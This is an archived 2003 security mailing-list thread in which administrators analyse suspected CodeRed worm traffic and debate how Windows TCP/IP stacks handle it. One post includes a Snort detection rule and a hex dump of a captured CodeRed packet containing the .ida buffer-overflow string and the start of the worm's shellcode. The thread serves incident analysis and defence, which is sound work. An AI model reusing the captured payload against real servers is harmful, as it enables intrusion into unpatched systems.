RE: CodeRed Observations.
From: larosa, vjay (larosa_vjay@emc.com)
Date: 03/15/03
- Previous message: Bojan Zdrnja: "RE: CodeRed Observations."
- Maybe in reply to: Rob Shein: "RE: CodeRed Observations."
- Next in thread: Rob Shein: "RE: CodeRed Observations."
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: "larosa, vjay" <larosa_vjay@emc.com> To: "'Bojan.Zdrnja@LSS.hr'" <Bojan.Zdrnja@LSS.hr>, "larosa, vjay" <larosa_vjay@emc.com>, 'Rob McCauley' <robmccau@RadOnc.Duke.EDU>, 'Rob Shein' <shoten@starpower.net>, incidents@securityfocus.com Date: Sat, 15 Mar 2003 10:32:05 -0500
Hello,
Just as a side note, the rule that is being triggered by my IDS sensor
is not using any of the flow, or established keywords (snort IDS). This
is why I have been able to identify this out of state traffic on the outside
of my firewall where it should not exist.
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"WEB-IIS ISAPI .ida?X
attempt"; c
ontent:".ida?X"; nocase; dsize:>239; flags:A+; reference:arachnids,552;
classtype:web-application-attack; reference:cve,CAN-2000-0071; sid:1243;
rev:1;)
Unfortunately because I am using the Demarc console I don't have a full
packet
capture of this activity right now. I will capture one before the weekend is
over.
I can show you this though, I have cut and paste the output from the Demarc
console
below. When I get a real packet I will mail it out.
Src IP Src Host Src Port Dst IP Dst Host Dst
Port
202.194.20.124 4621 168.159.240.63 80
IP Information
Ver Hlen TOS Length ID Flags Offset
Chksum TTL
4 5 - 576 63390 - -
8188 41
TCP Information
Seq Ack Urp Res Win Flags Offset
Chksum
1612048874 4661 - - 65535 A 5
36220
Packet payload.
47 45 54 20 2F 64 65 66 61 75 6C 74 2E 69 64 61 GET /default.ida
3F 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 ?XXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
58 25 75 39 30 39 30 25 75 36 38 35 38 25 75 63 X%u9090%u6858%uc
62 64 33 25 75 37 38 30 31 25 75 39 30 39 30 25 bd3%u7801%u9090%
75 36 38 35 38 25 75 63 62 64 33 25 75 37 38 30 u6858%ucbd3%u780
31 25 75 39 30 39 30 25 75 36 38 35 38 25 75 63 1%u9090%u6858%uc
62 64 33 25 75 37 38 30 31 25 75 39 30 39 30 25 bd3%u7801%u9090%
75 39 30 39 30 25 75 38 31 39 30 25 75 30 30 63 u9090%u8190%u00c
33 25 75 30 30 30 33 25 75 38 62 30 30 25 75 35 3%u0003%u8b00%u5
33 31 62 25 75 35 33 66 66 25 75 30 30 37 38 25 31b%u53ff%u0078%
75 30 30 30 30 25 75 30 30 3D 61 20 20 48 54 54 u0000%u00=a HTT
50 2F 31 2E 30 0D 0A 43 6F 6E 74 65 6E 74 2D 74 P/1.0.Content-t
79 70 65 3A 20 74 65 78 74 2F 78 6D 6C 0A 43 6F ype: text/xml.Co
6E 74 65 6E 74 2D 6C 65 6E 67 74 68 3A 20 33 33 ntent-length: 33
37 39 20 0D 0A 0D 0A C8 C8 01 00 60 E8 03 00 00 79 ......`....
00 CC EB FE 64 67 FF 36 00 00 64 67 89 26 00 00 ....dg.6..dg.&..
E8 DF 02 00 00 68 04 01 00 00 8D 85 5C FE FF FF .....h......\...
50 FF 55 9C 8D 85 5C FE FF FF 50 FF 55 98 8B 40 P.U...\...P.U..@
10 8B 08 89 8D 58 FE FF FF FF 55 E4 3D 04 04 00 .....X....U.=...
00 0F 94 C1 3D 04 08 00 00 0F 94 C5 0A CD 0F B6 ....=...........
C9 89 8D 54 FE FF FF 8B ...T....
vjl
-----Original Message-----
From: Bojan Zdrnja [mailto:Bojan.Zdrnja@LSS.hr]
Sent: Saturday, March 15, 2003 3:12 AM
To: 'larosa, vjay'; 'Rob McCauley'; 'Rob Shein';
incidents@securityfocus.com
Subject: RE: CodeRed Observations.
> -----Original Message-----
> From: larosa, vjay [mailto:larosa_vjay@emc.com]
> Sent: Friday, 14 March 2003 3:18 p.m.
> To: 'Rob McCauley'; Rob Shein
> Cc: larosa, vjay; incidents@securityfocus.com
> Subject: RE: CodeRed Observations.
>
>
> This would definately be the answer to my odd traffic.
> It is interesting that I have never seen any threads
> relating to this on any other news groups. I am going
> to find an IIS server somewhere in my network tomorrow
> and test this out.
I really doubt this is the way CodeRed worm works (why, see below). But,
first
of all, if it actually works like this (and IE works like stated in article
Rob
posted), than that means that Windows' TCP/IP *STACK* is really broken.
Basically, this has nothing to do with IIS because IIS, as any other
service,
just binds socket and waits for incoming data. TCP/IP stack is the one that
processes all incoming/outgoing traffic and delivers data to the
application.
Remember that TCP packets are on the transport layer (or host level if you
prefer protocol relationships) and that actual HTTP data belongs to the
application layer (the OSI model). So, TCP/IP stack on the machine receiving
packet like that should send back RST - no way that packet should be
processed
and delivered to application (if that is the case spoofing becomes extremely
easy).
Remember that we're talking plain TCP/IP here, not T/TCP (Transaction TCP -
which I don't think is implemented in Windows anyway).
Now, if CodeRed uses technique which is described in that article, that
means
one of these 2 things:
1) CodeRed has implemented code which sends packets as described in that
article (I doubt that).
2) Windows TCP/IP stack is really broken (I could believe this ;-)) so it
sends
*all* requests that way.
It could be possible that TCP/IP stack is broken on some old Windows NT
versions (maybe unpatched 4.0), but someone should verify this.
Vjay, can you paste exactly what packets do you see on your firewall (with
TCP
flags and other relevant data)?
I believe you see something very broken in case what you're seeing (or
result
of some firewall/whatever before). If CodeRed used this type of propagation,
why would it ever use legal three-way hand shake? If all Windows servers
worked
that way this would be enough to propagate (it can't work on Linux ie.
anyway).
And I believe we would notice this sooner.
> On a side note, if IIS does answer to connections
> with out established sessions couldn't IDS systems that track state
> be fooled into ignoring some attacks? If I had the stateless
If this is the case we have other problems (spoofing :). But I'm sure it
isn't.
Best regards,
Bojan Zdrnja
----------------------------------------------------------------------------
<Pre>Lose another weekend managing your IDS?
Take back your personal time.
15-day free trial of StillSecure Border Guard.</Pre>
<A href="http://www.securityfocus.com/stillsecure"> http://www.securityfocus.com/stillsecure </A>
- Previous message: Bojan Zdrnja: "RE: CodeRed Observations."
- Maybe in reply to: Rob Shein: "RE: CodeRed Observations."
- Next in thread: Rob Shein: "RE: CodeRed Observations."
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
